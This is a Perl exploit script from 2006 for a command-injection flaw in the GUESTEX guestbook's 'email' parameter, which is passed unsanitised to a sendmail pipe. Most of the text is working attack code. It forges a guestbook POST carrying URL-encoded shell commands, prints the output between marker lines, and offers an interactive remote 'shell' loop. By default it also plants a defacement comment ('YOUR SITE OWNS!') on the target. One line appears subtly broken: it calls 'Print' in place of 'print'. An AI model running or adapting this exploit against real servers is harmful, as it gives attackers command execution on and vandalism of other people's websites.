## Creator: K-sPecial (xzziroz.net) of .aware (awarenetwork.org)
## Name: GUESTEX-exec.pl
## Date: 06/07/2006
## Version: 1.00
##  1.00 (06/07/2006) - GUESTEX-exec.pl created
## 
## Description: GUESTEX guestbook is vulnerable to remote code execution in how it 
##  handles it's 'email' parameter. $form{'email'} is used when openning a pipe to 
##  sendmail in this manner: open(MAIL, "$sendmail $form{'email'}) where $form{'email'} 
##  is not properly sanitized.
##
## Usage: specify the host and location of the script as the first argument. hosts can 
##  contain ports (host:port) and you CAN specify a single command to execute via the 
##  commandline, although if you do not you will be given a shell like interface to 
##  repeatedly enter commands.
#######################################################################################
use IO::Socket;
use strict;

my $host = $ARGV[0];
my $location = $ARGV[1];
my $command = $ARGV[2];
my $sock;
my $port = 80;
my $comment = $ARGV[3] || "YOUR SITE OWNS!\n";

if (!($host && $location)) { 
  die("-!> perl $0 <host[:port]> <location> [command] [comment]\n");
}

$port = $1  if ($host =~ m/:(\d+)/);

while (1) { 
  my $switch = 0;
  if (!($ARGV[2])) {
    Print 'guestex-shell$ ';
    chomp($command = <STDIN>);
  }

  my $cmd = ";echo --1337 start-- ;$command; echo --1337 end--";
  $cmd =~ s/(.)/sprintf("%%%x", ord($1))/ge;

  my $POST = "POST $location HTTP/1.1\r\n"                   .
             "Host: $host\r\n"                                         .
       "User-Agent: mozilla\r\n"                                 .
             "Content-type: application/x-www-form-urlencoded\r\n"     .
       "Content-length: " . length("surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd") . "\r\n" . 
       "Referer: $host\r\n\r\n";
  
  $POST .= "surname=ax0r&nationality=american&country of residence=USA&preview=no&action=add&name=ax0r&site=ax0r net&url=www.ax0r.net&location=atlanta,ga&rating=10&comment=$comment&email=ax0r\@yahoo.com$cmd";
  
  $sock = IO::Socket::INET->new('PeerAddr' => "$host",
                                'PeerPort' => $port,
                                'Proto'    => 'tcp',
              'Type'     => SOCK_STREAM) or die ("-!> unable to connect to '$host:$port': $!\n");

  $sock->autoflush();

  print $sock "$POST";

  #$switch = 1; # used for debugging if you think 'echo' might not be working, etc
   
  while (my $line = <$sock>) {
    if ($line =~ m/^\-\-1337\ start\-\-$/) {
      $switch = 1;
      next;
    }
    if ($line =~ m/^\-\-1337\ end\-\-$/) {
      close($sock);
      last;
    }
    print $line if $switch;
  }
  exit if $ARGV[2];
}